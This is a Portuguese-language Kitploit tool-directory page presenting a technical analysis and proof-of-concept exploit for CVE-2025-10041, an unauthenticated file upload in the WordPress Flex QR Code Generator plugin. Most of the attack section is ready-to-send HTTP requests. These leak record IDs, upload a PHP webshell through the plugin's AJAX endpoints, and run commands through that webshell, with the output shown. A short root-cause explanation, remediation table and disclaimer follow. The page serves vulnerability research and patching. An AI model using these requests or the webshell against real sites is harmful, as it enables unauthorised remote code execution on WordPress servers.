Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
WordPress-Flex-QR-Code-Generator---CVE-2025-10041 — Análise técnica e exploit de prova de conceito para CVE-2025-10041, um upload arbitrário de arquivos sem autenticação que leva à execução remota de código no plugin WordPress Flex QR Code Generator. | Kitploit
Ferramentas/GitHubGitHub/kai-one001/wordpress-flex-qr-code-generator---cve-2025-10041
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubkai-one001/wordpress-flex-qr-code-generator---cve-2025-10041

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

Análise técnica e exploit de prova de conceito para CVE-2025-10041, um upload arbitrário de arquivos sem autenticação que leva à execução remota de código no plugin WordPress Flex QR Code Generator.

Ver Repositório
1há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-10041: Análise da Vulnerabilidade de Upload Arbitrário de Arquivos no Plugin Flex QR Code Generator


1. Visão Geral da Vulnerabilidade

  • Nome do Plugin: Flex QR Code Generator
  • Versões Afetadas: ≤ 1.2.5 (todas as versões)
  • Tipo de Vulnerabilidade: Upload arbitrário de arquivos → Execução Remota de Código (RCE)
  • Condição de Exploração: Sem necessidade de login, acesso não autenticado
  • Causa Raiz: A funcionalidade de upload de arquivos não valida extensões ou tipos MIME, e o endpoint pode ser chamado por usuários não autenticados.

2. Reprodução da Vulnerabilidade

  • No1 Vazamento de informações + hook de atualização para RCE:

1. Visão geral da cadeia de ataque

root@kitploit:~
Obter ID sem autenticação → Chamar endpoint de atualização para enviar arquivo PHP → Acessar webshell → RCE

2. Passo 1: Obter ID via vazamento de informações

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded

per_page=50&page=1

A resposta permite obter um id válido (ex.: 9) e o caminho de logo_url.

root@kitploit:~
{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }], "totalItems": "9"
}
}

3. Passo 2: Atualizar e enviar WebShell

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

✅ A resposta success: true indica que o upload foi bem-sucedido.

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

4. Passo 3: Acessar o arquivo de teste

Formato do caminho do arquivo: {nome_original}_{id}.php

root@kitploit:~
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

O servidor retorna o conteúdo do arquivo

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe
  • No2 Upload de arquivo não autenticado + RCE:

1. Visão geral da cadeia de ataque

root@kitploit:~
Acessar endpoint sem autenticação para enviar arquivo malicioso → Acessar webshell → RCE

2. Passo 1: Enviar arquivo malicioso via endpoint

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

A resposta permite obter um id válido (ex.: 10) e o resultado de sucesso

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code saved successfully.",
        "id": 10,
        "finalUrl": ""
    }
}

3. Passo 3: Acessar o WEBSHELL para executar comandos

root@kitploit:~
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

✅ O servidor retorna o resultado da execução do comando, RCE bem-sucedido.

root@kitploit:~
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54

uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)

3. Princípio da Vulnerabilidade

1. Funções vulneráveis

  • Arquivo: flex-qr-code-generator/qr-code-generator.php
  • Funções: save_qr_code_to_db() e update_qr_code()

2. Principais falhas

  • Apenas verifica $_FILES['logo']['error'] === UPLOAD_ERR_OK
  • Não valida extensão do arquivo ou tipo MIME
  • Nome do arquivo controlável: {nome_original}_{id}.ext, id é a chave primária autoincrementada

3. Chamada não autenticada

Registrado através do hook wp_ajax_nopriv_, o endpoint pode ser acessado por usuários não logados:

root@kitploit:~
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

nopriv significa "sem requisito de permissão", o atacante pode chamar sem estar logado.


4. Recomendações de Correção

MedidaDescrição
✅ Controle de permissãoRemover o hook nopriv, permitir apenas chamadas de administradores
✅ Validação de tipo de arquivoRestringir extensões por lista de permissões (ex.: jpg/png/gif)
✅ Bloquear execução de PHPDesabilitar execução de PHP em uploads/.htaccess
✅ Renomear arquivosUsar nomes de arquivo aleatórios para evitar adivinhação
✅ Atualizar o pluginAcompanhar atualizações oficiais e atualizar prontamente

Aviso Legal

Este artigo destina-se exclusivamente a fins de pesquisa de segurança e ensino. Testes de penetração ou ataques não autorizados são proibidos. Os usuários devem cumprir as leis e regulamentos aplicáveis.

Baixar ferramenta